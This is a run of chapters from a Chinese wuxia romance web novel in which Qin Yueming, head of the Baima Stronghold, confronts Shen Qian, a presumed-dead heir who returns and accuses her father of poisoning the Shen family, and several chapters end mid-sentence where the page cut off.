白马寨位于白马山南麓,白墙黑瓦,依山而建,外围高墙环绕,哨塔林立,防备十足。 秦月明披着月光,如一只夜枭般轻盈落在其中一座哨塔上。 此时已经夜深,万籁俱寂,她定定凝望着寨子东北侧屋舍中跳跃的烛火,一动不动,似是要站成一座石雕。 良久,她才长长地呵出一口气,飞了过去。 · 沈家先祖当初买下白马山,修建白马寨时,专程在东北方腾出一大块地营造家族私宅,此后历任寨主俱居住于此,不断扩建,至前任寨主沈有思继任之时已成一座规模宏大的庄园,寨中人称之为“沈庄”。 自沈家灭门案后,这里便空置了下来,纵然秦月明一直安排人打理,仍弥漫出一股挥之不去的冷寂。 时隔多年,夜晚的沈庄终于再次亮起烛火。 秦月明落到其中一间屋舍外的树梢上,行动间悄然无声,甚至连旁边枝头安歇的鸟儿都未惊动。 屋中之人却好似比枝头鸟雀还警醒,在秦月明到来的下一刻便推开窗看了过来。 四目相对,静默无言。 秦月明的目光划过屋中人张扬俊美的脸,张了张嘴,还未出声,眼泪先涌了出来:“……沈潜……” 无需更多试探,看到人的第一眼,秦月明便知道他的的确确是沈潜。 “……夜深露重,有话进屋说吧。”沈潜推开房门,别开脸涩声道。 秦月明一跃而下,树梢摇晃,惊得栖息的鸟儿慌乱四散,她在雀鸟们嘈杂的抱怨声中有些踉跄地踏入房间,一瞬不瞬地盯着眼前人。 她漏夜翻山越岭而来,身上笼了一层薄薄的水雾,在烛光下泛出细碎的光芒,映得她整个人朦胧而冰冷,不似真人,脸上蜿蜒的泪痕又让她显出几分温度,两种矛盾的气质交织,将她衬得更加摄人心魂。 沈潜挥出一道掌风,关上房门,挡住夜风,目光游移不定,竭力不在秦月明身上停留。 “沈潜,”秦月明泪中带笑,手足无措片刻,最后抓住他的袍袖,磕磕巴巴道,“你、你真的回来了,我不是在做梦罢?” “不是梦,我回来了,”沈潜顿了一下,拂开她的手,回转目光,盯着她一字一顿道,“回来报仇。” “报仇?”秦月明不解,“可是凶手已被满门抄斩,你要怎么报仇?” 十三年前,沈庄中的沈氏族人并两百三十七名弟子和仆婢一|夜之间中毒而亡,如此惊天巨案甚至惊动了京中,当今天子亲派“天下第一神捕”曹浪凤查办此案,最终查出是两位副寨主不满沈家独占寨主之位,心生恶念从而投毒。 秦月明参与了整个办案过程,还帮忙收集过不少证据,亲眼看着凶手伏诛。 此案前因后果在渝州乃至整个西南都不是什么秘密,无论沈潜这些年在哪里,应该都能有所耳闻,为何却突然冒出这样一句不明不白的话? “凶手?”沈潜冷笑一声,“他们不过是别人的刀而已,真正的凶手是谁,你应该最清楚。” “我?”秦月明茫然,同时从心神激荡中挣脱出一丝理智,隐约察觉到他的态度似乎有些不对劲。 “你曾经说过不想入江湖,只想寂寂无名终老此生。”沈潜话锋一转,提起另一件事。 他语气莫名怪异,秦月明心神不定地点点头,答道:“是,我说过。” “那你这些年的风生水起算什么呢,金仆姑?怎么沈家一倒,我一死你就有心情闯荡江湖了?是我们活着挡了你的路吗?”沈潜的语气陡然森冷起来。 秦月明大惊失色,急急辩解道:“我不是……当时寨中混乱……” “正是你上位的好时候,”沈潜打断她,冷声嘲讽,“沈家的寨主之位坐着舒服么,秦寨主?” “沈潜?!”秦月明从未想过会从他口中听到如此冰冷伤人的话语,不可置信地喊道。 沈潜被她眼中明晃晃的伤心刺到,语气愈发冷酷:“何必如此惺惺作态,以我未婚妻名号接管白马寨不是你么,借我沈家财势周旋四方的不是你么,秦月明,为了这寨主之位,你真是用心良苦啊!” 一连串诘问劈头盖脸砸下来,如一盆冰水,将秦月明心头的激动浇灭,她彻底恢复理智,把刚才的对话回想了一遍,脸色瞬变,紧紧盯着沈潜的双眼:“你怀疑我?因为我是沈家覆灭的受益者,你怀疑我是……凶手?” 不待沈潜回答,她闭眼深吸一口气,极力压抑情绪道,“当初的案件是曹神捕一手经办,证据确凿,你是觉得我手眼通天,能收买这位天子近臣?” “你做不到,自有人能做到。”沈潜避开她的视线,默然片刻道,“你不是凶手,只是帮凶罢了。” “沈潜,”秦月明握紧身后长弓,维持冷静,“我们从小一起长大,你竟不清楚我的为人么?” “我查到的证据、还有这些年你的所作所为让我不得不怀疑,也许我从来都没有真正认识过你。” “那就拿出证据啊!”秦月明低吼,她这一晚从听闻消息时激动怀疑,到认出沈潜时的惊喜若狂,再到此时被沈潜怀疑的悲愤交加,情绪大起大落,几近崩溃。 眼泪再次不受控制地涌出,她突然将长弓往地上一摔,痛哭出声,她知道眼下应该冷静下来,与沈潜对峙,将事情从头到尾捋清楚,无论中间存在她不知道的事,都敞开来说,解开他对自己的误会。 但她做不到。 秦月明哭得不能自已,浑身内力也因心情激荡不受控制,在经脉中流窜,隐隐竟有走火入魔之兆。 沈潜先是被她摔弓的动作惊了一下,又被她的哭声震到,神色挣扎,讷讷难言,感受她内力的动荡后脸色瞬间大变,匆忙抬手欲将人打昏。 “你还想对我动手?!”秦月明格住他的手臂,不敢置信道。 “我……”沈潜有口难言。 “好好好!”秦月明嘴角沁出一缕血丝,此时她已完全失了理智,抬手将箭囊也摔到沈潜面前,“沈潜,你既有证据,便拿出来罢,我倒要看看自己是怎么为了这破寨主之位用心良苦的!” 她脸如金纸,神色狂乱,沈潜再顾不上许多,厉声道:“秦月明,你走火入魔了,凝神静气,抱元守一。” “咳,”秦月明胸口闷痛,被沈潜的声音叫回两分清明,一边嘶哑咳嗽一边运转内功心法梳理体内乱窜的真气。 但她这些天本就为娄山擂之事殚心竭虑,今日披星戴月而来,又经这一遭大喜大悲,身心俱疲,心法堪堪运转到一半,便觉眼前一黑,昏了过去。 “明月!”沈潜惊惶地接住她软倒的身体。 · < 6. 岁岁金河复玉关 《明月西潜》全本免费阅读 秦笃,秦月明的生身父亲,中原伏牛山现任掌门的师兄,因相貌俊朗无双,曾有“江湖第一美男子”的美誉,持一柄斩鲸剑扶弱锄强,江湖人称“麒麟郎”。 他与白马寨上任寨主、“西屠刀客”沈有思年少相交,性情相投,结拜为兄弟,感情深厚,这也是他将秦月明交给沈家抚养的原因。 沈家灭门案后,秦月明亲见秦笃悲痛欲绝至一夜白头,听到沈潜的话第一反应便是不相信。 “不可能!”她反驳道,激动之下内力又翻腾起来,然后再次被心口处的真气抚顺。 她冷静下来,反握住沈潜的手臂,“我要看证据。” 沈潜俯身扼喉的动作本就将两人的距离拉得几近,秦月明再一动作,两人更是近在眉睫,视线相对间,凭空生出几分暧昧意味。 “你!”沈潜霍然放手,连退好几步,匆匆掷过来一件物什,道,“这便是证据。” 那是一块雕刻成棠棣花形状的黄沁和田玉佩,雕工精美,玉质温润通透,十分名贵不凡。 秦月明曾在秦笃身上见过此物,但并不知其来历。 “这块玉佩乃前朝古物,是我爹与秦笃结拜时赠予他的信物,”沈潜道,“你猜我在何处得来?” 秦月明心中生出浓重的不祥。 “阮家村,想必你还记得这地方。” “……我记得。”秦月明攥住床幔,哑声道。 阮家村并不是什么村庄,而是一个暗杀组织,尤擅毒杀之术,掌握着许多失传的毒方,当初左、陶两位副寨主毒害沈家的毒药便来自他们。 不过此组织向来神秘莫测,踪迹飘渺,秦月明这些年一直未放弃追查,也只抓到一些小鱼小虾,并无太大收获。 “这玉佩便是阮家村村长给我的,”沈潜面罩寒霜,冷声道,“玉佩主人授意他派人以失心之毒操纵左、陶二人给沈家下毒,事后再悄无声息解去失心毒,将罪状都推到两人头上。” 失心之毒乃是前朝失传的毒药,中毒之人会被引出心头最深的欲念,失去理智,被下毒者操控。 解毒之后中毒者只会以为自己是顺本心而为,不会发现不对劲。 前朝江湖曾因此毒闹出泼天祸事,最后由当时几位武林名宿出面,毁去所有失心之毒并制毒必需的几味药材,才渐渐止住了风波。 听得沈潜这一番话,秦月明连连摇头:“不,不可能,父亲与沈伯父乃八拜之交,情同手足,他有何理由这样做?” “当然是为了你啊,秦寨主。”沈潜一字一顿,咬牙切齿。 秦月明摩挲着玉佩,认真道:“我从未觊觎过你沈家财势分毫,否则当初为何要拒绝你呢?” 十三年前,沈潜不辞辛劳,亲筹材料托铸造名家打造了一把长弓,赠予秦月明,并表达情意,但遭到了秦月明的回绝。 沈家覆灭后,为保沈家基业,秦月明才以此弓为信物,得秦笃和沈有思之师仙客前辈扶助,以沈潜未婚妻的名义登上寨主之位。 沈潜脸黑如墨:“……你不觊觎,不代表秦笃不觊觎。” “这玉佩确系前朝古物。”秦月明深吸一口气道,“但也不能排除有人仿造嫁祸的可能。” “玉佩雕工是前朝金氏玉匠手笔,今已失传,根本无法仿造。”沈潜道,“我手中还有几位证人的状词,可与此相证。” 由于身世原因,秦月明与秦笃这位父亲关系算不上亲密,甚至称得上疏远,但她对秦笃的品行还是信任的。 然而眼下人证物证俱全,她心中也不由得生出动摇。 若她父亲真是沈家灭门的元凶,那她与沈潜…… “你待如何?”秦月明垂眸,心灰意懒道,“在我爹亲口承认此事前,我仍存疑虑。还有,当初我一心助曹神捕破案,从未有任何毁灭证据之举,纵然你因我爹而仇恨于我,也不要妄加罪名。” “一切都只是你的一面之词,我只相信自己查到的证据。” “是吗?”秦月明懒得再辨,披衣下床,将玉佩递还给沈潜,随后一边整理仪容一边缓缓向门口走去。 沈潜感受着玉佩上的余温,攥紧拳头问道:“你去哪?” “回家。”秦月明答道,路过博物架时突然顿住脚步,看向上方一座小玉雕,玉人持长枪,身骑白玉马。 这是她赠予沈潜的及冠之礼,由她亲手雕刻而成,暗合沈潜“银鞍白马”的外号,她记得沈潜收到礼物时灿烂明媚的开怀大笑,也还记得沈潜“死”后再看到这玉雕时的怅恨。 秦月明突然感到无比的释然,无论如何,“死去”的人现在活生生站在她眼前,本就是上天的恩赐,就算现在要面临新的问题,也比一切都无可挽回要好得多。 事实上,她亲眼见证过秦笃的悲痛,很难相信他是幕后凶手,但沈潜已经拿出证据,她也需要找到拿出证据,来证实自己的推论。 “沈潜。”秦月明喊道。 沈潜抬眼看过来。 “我会找到证据,证明我和我爹的清白。” · 白马寨议事厅。 秦月明跟着沈潜一进门,便见除荀风、元香枝外的五位堂主都到齐了,还多出一位亭主。 白马寨除白马山主寨外,还在其他地方设有分寨,称为“白马亭”,这位多出的人名为刘锦,剑南道白马亭的亭主,年过半百,原是寨中老人,看着沈、秦二人长大,也正是他发现沈潜,将其带回来的。 荀风、元香枝两位堂主是秦月明从外面捡回来的,直属于秦月明,分掌情报和门中弟子事务,其他五位堂主俱是寨中之人,对秦月明和从前的沈潜都算熟悉。 几人见过沈潜,确认了他的身份,惊讶震动之后,心头也各自打起了算盘。 秦月明进门之前,众人已经过几轮唇枪舌战,成果便是上方主位的交椅变作了两把。 她看向走在前头的沈潜,见他毫不犹豫地坐到了右边椅子上,不由挑眉,慢条斯理坐到另一边。 下方几人分别交换眼神,表现不一。 金鞍堂堂主卫明和明珠堂堂主周方晴面带笑意,切玉堂堂主周坚与蓬蒿堂堂主安烛则皱着眉,百战堂堂主黄远山满脸不耐,似乎很是嫌弃厅中的氛围。 刘锦倒是一直老神在在,只是望向沈潜是眼神中闪过 7. 谩名长乐是长愁 《明月西潜》全本免费阅读 白马寨往渝州城的大道上,三匹快马疾驰而过。 远远看见渝州城门,秦月明长“吁”一声,放慢速度,后方的沈潜与阳素名也紧跟着勒住马匹,徐徐而行。 她调转马头,对阳素名一扬下颌:“去找香枝,让她带上几个小孩来折柳亭汇合。” “好嘞!”打扮得花枝招展的阳素名一改平日的懒散,一抖缰绳冲了出去,背影里透出一股喜气。 “啧。”秦月明露出一个嫌弃的表情,转向沈潜,见他神色似乎比出发时更冷了几分,不由纳闷。 但眼下两人关系尴尬,她踟蹰片刻,还是起了另一个话头:“你当初是如何……” 她话未说全,沈潜却能领会意思,淡淡道:“我内力特殊,当时还存有一口气,被人所救,为报救命之恩,便投入恩人麾下做事,后来恩人去世,将一双儿女托付于我……” 沈潜所练内功心法名为《大明观复经》,有“日行九天,观复万物”之寓意,是百年前一位武林名宿所创的武功绝学,甫一出世便在江湖上引起了腥风血雨。 但据传,那位武林名宿曾经断言,非武学天赋绝顶者不可修炼此心法。 后来一位抢到《观复经》的江湖人士死活修炼不成,一怒之下将心法内容公诸天下,震动武林,可是无数人拿着心法也不得其门而入,走火入魔者更是不计其数,此后该心法就成了有名的鸡肋,甚至有人揣测这是一场骗局。 然而,二十多年前,年幼的沈潜从自家仓库里翻出了一本落灰的《观复经》,翻看几天便修炼有成,证明这并非骗局,也将诸位长辈惊了个人仰马翻。 当时秦月明与沈潜还是冤家对头,看沈潜练了这么本武功绝学,既羡又妒,也从秦笃处缠了一本绝学来练——便是她修炼至今的《秋月行天》。 此刻听得沈潜的一番话,秦月明不由庆幸后怕:“幸好……” ——幸好沈潜天赋卓绝,练成了《观复经》,幸好正好有人相救。 其余的细枝末节她也不好多问,只得又沉默下来。 两人并肩打马前行,一路无言直到折柳亭,秦月明翻身下马,再次挑起话头:“除去庄不周本是我的主意,如今倒要麻烦你。” “别自作多情。”沈潜坐在马上,阴沉地睇着她,“庄不周本就是我手中的漏网之鱼,自当由我去除,且他是冲白马寨而来,为沈家基业计,我也不可能放过他。” “是、是吗。”秦月明讪讪。 “倒是你,”沈潜提起金河玉关,用枪尾挑起她的下颌,讽笑道,“走火入魔,一身内伤地跟来,还带上心腹,怎么?怕我夺你的权柄?” 金河玉关枪整体由寒铁铸造而成,枪身冰凉,冷意浸人。 “你!”沈潜的动作突然而又轻佻,秦月明心头生出被冒犯的怒意,抬头看清他的脸后又冷静下来,牵马走到一边,轻声道,“我并无此意,只是庄不周武力不凡,总要多些保障。” “保障?靠那个蹩脚的刀客吗?”沈潜冷笑。 阳素名怎么也算江湖一流高手,哪里蹩脚了?秦月明无言看了他一眼,道:“阳素名与元香枝有一套刀剑合璧之法,困人颇有成效,可为你掠阵,以免让庄不周逃脱了去。” 沈潜一愣:“阳素名与元香枝?” 秦月明觉得他的关注点有些怪,但还是解释道:“他俩是夫妻,不过已经和离了,好像是因为阳素名做了什么蠢事,这些年正死皮赖脸求元香枝原谅呢。” 想了想,她又补充道,“但这不影响他们合璧,别担心。” “……我有什么好担心的?”沈潜哼笑一声,“用不上他们,杀庄不周我一人足以。” “以防万一嘛。”秦月明已看到元香枝几人的身影,敷衍沈潜一句,便牵着马迎了上去。 “秦前辈!”“寨主。” 陈书灯等人先向秦月明打了招呼,随后不自觉地看向沈潜。 白马寨“死”了十多年的前少寨主“诈尸”归来的消息已经一|夜之间传遍渝州,眼下正继续扩散。 几个小辈当然也听到了这个消息,惊讶之余不由生出好奇,但不好直白地询问。 元香枝与阳素名立在一旁,默默无言。 阳素名因是在元香枝面前,又一路被沈潜的冷气“冻”过来,不想乱说话。 元香枝昨晚亲眼看到秦月明听闻消息后的失态,又听说她连夜赶回去见到人后因心情过于激动走火入魔,不敢说话怕刺激到她。 气氛一时尴尬起来。 秦月明见几个小辈一下下地往沈潜身上瞥,本想出言介绍,但想起沈潜方才阴晴不定的态度,又有些退缩。 只有他们两人时,她可以不在意沈潜的恶劣态度,但在外人面前又不一样,而且眼下肯定有很多人盯着白马寨的权柄变动,若将她与沈潜的不合摆到明面上,恐怕会引得寨中乃至整个西南人心浮动。 最后还是沈潜跃下马来,打破了僵局:“你们是来这里发呆的吗?走罢。” 说罢便将马系在道旁柳树上,提着金河玉关施展轻功飞走了。 其他人看向秦月明。 秦月明翻身上马,扬手道:“跟上去吧,我随后来。” 陈书灯犹豫了一下,看看沈潜离开的方向,又看看秦月明,对其他人道:“我有事要与秦前辈说,你们先走吧。” 秦月明愣了一下,感受到元香枝与阳素名疑问的目光,随意点了点头,元香枝便带着其他几人追向沈潜。 “陈少侠有何事?”待众人皆离去,秦月明看向陈书灯,示意她骑上沈潜留下的马匹,两人一边前行一边交谈。 “并非什么紧要之事。”陈书灯讪然一笑,道,“前辈的弓箭漆艺非凡,不知是哪位匠人手笔。我有一位酷爱漆器的长辈即将过生辰,想向这位工匠定做一件漆器作为生辰礼。” “此为‘金漆匠’方流墨所绘。”秦月明摩挲着长弓上金银平脱的星月图案,神色怅惘。 去议事厅之前,沈潜便将弓箭还给了她,还嘲讽她意气用事,冲动幼稚。 当时秦月明想起自己昨晚的忘形痛哭,心中生出无边羞耻,沈潜的态度又让她黯然神伤。 “……秦前辈?” 陈书灯的声音将秦月明拉回现实,她顿了一下,若无其事道:“……不过方流墨退隐江湖已久,踪迹杳然,陈少侠恐无法如意了。” “是吗。”陈书灯有些失望。 渝州多山,庄不周所在的茶庄便位于城外西南的一处半山腰,秦月明与陈书灯行至山脚,便听到上方传来兵戈相交之声。 待到茶庄门口,才听到兵戈声中还夹杂着一道飘渺的铃铛声。 陈书灯不 8. 愿我如星君如月 《明月西潜》全本免费阅读 陈书灯几人询问庄不周关于无忧门之事,庄不周自知在劫难逃,只求速死,故而有问必答。 秦月明自听到“长乐城城主之女”便心神不定,面上倒未现出什么端倪。 待庄不周将所知一切吐露干净,秦月明正欲遵守承诺给他个痛快,沈潜却抢先一步,内劲一吐,震断了庄不周的心脉。 “……去通知刘知州。”秦月明愣了一下,看向姜良,吩咐道。 姜良点点头,跳上墙头,看到秦月明与陈书灯留在门口的马匹,眼睛一亮,高声道:“寨主,我可以骑马么?” “可以,别在闹市纵马就行。”秦月明头也不抬道。 “好嘞!”姜良纵身扑到茶庄门口的马上。 “唏律律——” 马蹄声远去,茶庄内恢复了安静。 其他人自觉或不自觉地远离了秦月明与沈潜,陈书灯三人凑到院子一角讨论无忧门之事,元香枝与阳素名去把还活着的无忧门弟子捆在一起。 “秦寨主八面玲珑,怪不得能成为各州知州的座上宾。”沈潜一边擦拭金河玉关上的血迹,一边道。 秦月明自然听得出他语气中的嘲弄,轻声辩道:“白马寨扎根于此,自然要与此地官府为善,传个话便能卖好,何乐而不为。” 金缕宫覆灭后,庄不周便已上通缉令,他作恶多端,又是魔教余孽,罪行昭昭,如今在渝州城中伏法,于此地父母官而言可谓是一笔浓墨重彩的政绩——前提是,官府能知道这件事。 所以秦月明才让姜良前去传信。 “说得好听,”沈潜冷声道,“不过是你贪慕权势的借口罢了,以前我沈家寨主在位之时,何需如你一般觍颜讨好官府?” “自是因为那时你家势大,官府不敢得罪。”秦月明也冷了脸,“而且不过举手之劳,如何称得上讨好,沈……” 她气上心头,却在将叫出他的名字时顿住,深深看了他一眼,转身对元香枝道:“剩下的事你处理,我走了。” “好,寨主你伤势不轻,快回去好好休养罢。”元香枝关切道,看着秦月明出了院门,一转头发现沈潜也不见了。 “有点怪,”她挪到阳素名身旁,低声道,“寨主和沈……少寨主之间,似乎不太融洽。” “争权夺位,如何融洽?” · 秦月明并未去渝州城,而是循着山道徐徐而行,向山顶而去。 季春时节,山林愈见葱郁,鸟雀在枝叶掩映下发出欢悦的鸣叫。 微风拂过秦月明紧蹙的眉头,却带不走她半分愁绪,沈家灭门案、娄山擂、长乐城……桩桩件件压在心头,几乎让她喘不过气。 秦月明觉得自己被架在了半空,上不着天下不着地,想探寻沈家灭门的真相,但她已久未接到秦笃的音讯,又无与其传讯之法,不知如何求证;娄山擂在即,不容有失;无忧门……长乐城……城主之女…… 她长长地叹了一口气,尚因走火入魔、强运真气而虚弱的身体涌上一阵阵疲惫。 实在支撑不住,她索性寻了一块光滑的大石头,拂去上方的落叶后盘膝而坐,运功调息。 轻渺柔和的内力在经脉中游走,所过之处刺痛渐渐舒缓,几个大周天后,秦月明收功睁眼,内伤已好了大半。 《秋月行天》是秦笃专为秦月明寻来的内功心法,十分中正平和,虽然被秦月明练成了虚无缥缈的鬼魅样子,也不改其本质,此次若不是秦月明情志过于失常,根本不可能走火入魔。 正因如此,她走火入魔后并未伤到根本,稍作调息休养即可痊愈,但若她继续如此神伤下去,于内功修炼也是不利的。 秦月明自然知道这个道理,无奈世事乱人心,七情六欲又非她自己所能完全控制。 她取过放置一旁的长弓置于膝上,细细描摹上方的星月图案,回忆起沈潜将此弓捧到她面前时所说的话: “……本来想只画月亮,但一轮明月太过孤寂,便添上了星辰……” “……你若愿意,我也可如星辰伴月,陪伴在你这轮人间月身边……” 那时的沈潜逍遥恣意,任性疏狂,说出这番话时目光明亮,声音清朗而坚定—— 全然不似如今的阴沉冰冷。 秦月明回过神,用力闭了闭眼,眨去眼中的酸涩。 突遭巨变,死里逃生,又查出亲近之人是仇人,她能理解沈潜的性情大变,也理解他的仇视。 但心里仍然非常、非常难过。 难道十年的青梅竹马、相知相处,竟真的不足以让他了解自己的品性,对自己多上几分信任吗? 手腕触到一个冰凉的物什,唤回了秦月明的神志,她低头一看,发现是传讯铁笛。 秦月明执掌白马寨后,寨中暗流涌动,不服者甚多,为巩固地位,她采取了许多措施,如裁撤副寨主之位,设立七堂;培养心腹;分发笛哨,以声传讯等等。 时至今日,这支铁笛已如寨主令印般成为寨主之位的象征。 在沈家覆灭,秦笃失踪之后,白马寨称得上是秦月明在这世上最后的牵系,她竭尽心力将寨子经营到如今地步,心头不是不是骄傲的,但归根究底,白马寨归属沈家,如今沈潜回来了。 她又想起两人之间横亘的“仇恨”,闭了闭眼——就让一切都回归正轨罢,她做她的孤女,他当他的寨主。 · “寨主,刘知州来访,已等候您多时了。” 秦月明刚回到渝州城的白马寨别院,便听弟子来报。 她踏进前厅,便见刘东树正百无聊赖地调整花瓶中的花枝,面上牵出一抹笑,道:“知州大人大驾光临,有失远迎,还望海涵。” 刘东树笑呵呵道:“秦寨主除暴安良,为我渝州安稳奔波,无可报答,该是本官请你海涵才对。” “大人说笑了,不知大人今日前来所为何事?” “沈少寨主已来州衙恢复户籍,并索要白马山地契。”刘东树慢条斯理道,“秦寨主你看,该是个什么章程呢?” 秦月明毫不犹豫道:“白马山本就是沈家祖产,自然该由沈潜继承,明日我便将地契送来还给他,劳烦州衙做个见证。” “秦寨主竟如此大方,本官佩服。”刘东树惊叹,随后意味深长道,“白马寨乃西南武林执牛耳者的门派,还望秦寨主与沈少寨主以后能夫妻同心,共商大事才好。” “理所应当之事,有劳大人挂怀了。”秦月明淡淡答道,她明白,刘东树已从地契之事看出自己与沈潜之间存在问题,故有 9. 两处沉吟各自知 《明月西潜》全本免费阅读 次日,秦月明回白马寨取了地契,同时告知寨中诸人开宴设席之事。 寨中弟子众多,有些事务不能离人,秦月明便决定在渝州城别院与白马山两处设流水席,并于盐梅楼设宴,招待各堂堂主以及其他宾客。 刘锦听闻此消息,喜不自胜,与两周一卫三堂主到了别院后,便寻机私下拜见沈潜,高兴道:“寨主,此乃良机啊!” 沈潜手边摆着一大摞账本,翻得焦头烂额,闻言头也未抬:“什么良机?” “当然是当众揭穿秦月明这贼妇恶行的良机。” “贼……”沈潜一顿,抬头看过来,眼神深邃,“刘亭主何出此言?” 刘锦忆起往事,神情愤恨:“我亲眼看着寨主你长大,怎生不知你身负婚约,这秦月明冒充你的未婚妻,谋夺寨主之位,着实卑鄙阴险。” 沈潜抿紧嘴唇,一言不发。 “也不知麒麟郎和仙客前辈被她喂了什么迷魂汤,竟替她撑腰圆谎,还放任她对寨中老人赶尽杀绝。”刘锦犹自愤愤不平。 听得“麒麟郎”三个字,沈潜脸色冷下来,一摔账本,低喝道:“够了。” 刘锦一惊,迅速闭嘴。 “秦月明……确系我的未婚妻子,”沈潜低声道,垂眼敛去眸中复杂神色。 “寨主?!”刘锦满脸惊愕。 他乃沈氏家仆,从小与沈有思一同长大,若沈潜真与秦月明定亲,他不可能不知情,这也是他当年极力反对秦月明执掌白马寨的原因。 这些年来,他被流放到剑南道当这个小小的亭主,私下拉拢了诸多同样对秦月明心怀不满的人,意图再造动乱,将秦月明拉下马来。 不料秦月明手段繁多,又是筹办娄山擂又是平定叛乱,声望日隆,武功更是节节攀升,让人不敢造次。 刘锦在日复一日的等待中将近疯魔,甚至已准备孤注一掷,放手一搏,不料峰回路转——沈潜归来了! 回寨路上,他试探着提起秦月明,沈潜怨怼阴戾的言行更让他确定,两人之间并不存在什么婚约,秦月明这个寨主之位来路不正。 他巴巴跟着沈潜回来主寨,正是为亲眼见证秦月明的落魄。 然而到了这里,沈潜却毫无报复的动作,不但未曾向寨中弟子揭穿秦月明的谎言,甚至在诸堂主面前主动给秦月明让位,着实让人恨铁不成钢。 “沈潜,你是不是被秦月明迷了心智?”刘锦捶胸顿足,眼含热泪,“你难道要让沈家先祖、沈寨主的在天之灵眼睁睁看着沈家基业落于贼人之手吗?” 沈潜脸色彻底冷下来,磅礴的内力涌出,倾轧到刘锦身上。 刘锦双|腿一抖,差点从椅子上滑下来,冷汗涔涔,但仍毫不退缩,直勾勾地盯着沈潜。 “这是我与秦月明之事,与尔无干。”沈潜冷冷道,从案几边缘扯出一封信纸掷了过去,“听说你和这任无量子是好友,眼下正好有一件与无量宗相关的要事交由你办。” “沈潜!”刘锦见他这般顾左右而言他,不由悲从中来,正想再做劝诫,看清信纸上的文字后却僵住了。 “刘亭主。”沈潜低头重新翻开账本,语气漫不经心,“这雪蝉乃我沈家传家之宝,既然误落无量宗,自当拿回来,你说对么?” “对,对。”刘锦诺诺而应,背上的冷汗几乎将衣裳浸透。 “去罢。” 刘锦捧着信纸,垂首脸色苍白地出了房间。 待他走远,一人自沈潜身后的书架转出,身材中等,五官周正,若秦月明在此,定能认出此人便是当初为陆参验尸的州衙仵作。 “如此吃里扒外,不忠不义之辈,大人何必留他性命?”仵作低声道。 沈潜继续翻账本,不发一语。 仵作背后一冷,赶紧请罪:“属下多言,请大人责罚。” “知道就好。”沈潜面无表情道,“让你们办的事情如何了?” “属下已将大人回白马寨的消息传了出去,并着人守在各处关隘,只等秦笃露面。”仵作神色恭顺。 沈潜微微颔首,转了话题:“你在渝州多年,觉得秦月明……罢了,退下罢。” 他话说半截,便戛然而止,仵作只得满头雾水地离开。 · 白马寨为归来的前少寨主设洗尘宴的消息一经传出,物议沸腾。 陈书灯三人去别院拜候时,不可避免地说起了这件事。 “咱们跟秦前辈都这么熟了,应该能收到请帖吧?”师山畅想道,“这也算是一段江湖佳话,秦前辈独自支撑白马寨这么多年,终于守得云开见月明,以后不必如此辛苦了。” “你在说什么蠢话?”陈书灯嫌弃地看了他一眼,转身走前方去了。 “她什么意思啊?”师山莫名其妙。 王更明拍了拍他的肩,上前与陈书灯并肩,低声道:“秦前辈与沈前辈之间是否有些……” 两人声音低到近乎耳语,师山独自在后面生了会子闷气,心里好奇得很,又悄悄凑上去,就听见陈书灯说:“……沈前辈终究是白马寨的正统继承人。” “秦前辈又该何去何从呢?” · 秦月明也在思考这个问题,写完洗尘宴的请帖吩咐弟子送出后,她便拿出秦笃之前寄来的信件,一一细看。 沈家出事后,秦笃曾在沈有思夫妇坟前结庐守丧,顺便辅佐秦月明管理白马寨,如是过了两年,他突然不辞而别,此后数年只寄来寥寥几封报平安的书信。 及至五年前,就连平安信都没了。 秦月明本想亲自去寻上一寻,无奈白马寨事务繁杂,无暇分身,只得嘱咐行走江湖的弟子们帮忙留意。 可惜五年过去,还是没有丝毫消息。 要说担心,还是有一些的,不过秦笃武功已臻化境,江湖上罕有敌手,只要不铁了心去闯什么龙潭虎穴,无人奈何得了他,因此秦月明才能稳坐渝州。 如今再要寻找秦笃的行踪线索,却又不知从何寻起。 秦月明拿起秦笃的最后一封信,信上的内容稀松平常,和其他信件一般无二,都是叮嘱她好生经营白马寨,守好沈家基业,再无其他。 她正捻着信纸思绪万千,突闻外边传来一阵脚步声。 姜良横冲直撞地飞奔进来:“寨主,外面好多人都说你要让那个新回 10. 君骑白马傍垂杨 《明月西潜》全本免费阅读 秦月明看着沈潜气势汹汹的样子,既是头疼又是不解,之前因自己继承寨主之位不满嘲讽的是他,现下不想要寨主之位的也是他,他究竟意欲何为? 余光瞥见陈书灯三人难掩好奇的眼神,秦月明忍下与他争论的冲动,道:“此事容后再议,先解决云来观的问题罢。” “云来观?”沈潜眸光微敛,这才将在场其他人看进眼里,不经意扫到陈书灯手中的信纸,目光一凝。 陈书灯蜷了蜷手指,不知为何,每次被沈潜注视,她就仿佛面对什么考校,不自觉拘谨起来。 “赵青山赵大侠送来的消息……”秦月明并未注意到陈书灯的不自在,见阳素名也到了,便将云来观或许与无忧门勾结的情报说了一遍。 “啧,”阳素名惊奇咋舌,“云断水胆子大了啊。” 云断水正是云来观现任观主,阳素名的师弟之一。 他看过陈书灯拿出的信件后,挑了挑眉:“看来我得回去一趟。” 说罢,他转身欲走,却听秦月明突然道:“让香枝跟你一起去罢,正好顺道解开你们之间的误会。” 阳素名转身看了看秦月明,眼中划过一抹了然,颔首道:“知道了。” 阳素名走后,陈书灯等人也告辞离开,秦月明屏退左右,只留自己与沈潜在前厅。 “你说我为寨主之位汲汲营营,如今我便把位置还给你,你为何不要?” “因为这是我给你的,”沈潜神情莫测:“只要你一日是白马寨寨主,便一日是我的‘未亡人’,秦月明,你休想摆脱这个位置,更休想摆脱我。” 他的声音很轻,落在秦月明耳中却如雷霆,深邃的目光似一张大网,将秦月明笼罩其中,无法挣脱。 “你!”秦月明悚然而惊,情不自禁后退,险些撞到厅前的圈椅上。 沈潜仍站在原地,静静注视着她惊讶慌乱的样子,语气平静:“你不愿意么?” “沈潜,”秦月明深吸一口气,看向他的眼睛,“你不是觉得我父亲是你沈家灭门的凶手吗?” “是,我会杀了他。”沈潜眼神明亮热烈,“但我不会伤你,你贪慕虚荣,恋栈权位,而权力、地位,这些我都可以给你,只要你留在我身边。” “我不。”秦月明柳眉一竖,大动肝火,“你在说什么混账话?你以为我会感动于你的‘宽容’吗?你现在仍然视我为沈家灭门的帮凶,只是一边恨我一边放不下我罢了,这样施舍的‘钟情’,我不稀罕!” “秦月明!”沈潜的语气中也翻腾出怒气。 秦月明毫不退让:“你叫出这个名字的时候,难道不会想到我的父亲——那个你认定的杀父杀母凶手吗?如今我们之间隔着沈家、隔着我的父亲,真相未明,误会重重,你看着我的时候,能忘记这些吗?你不能,我也不能。” 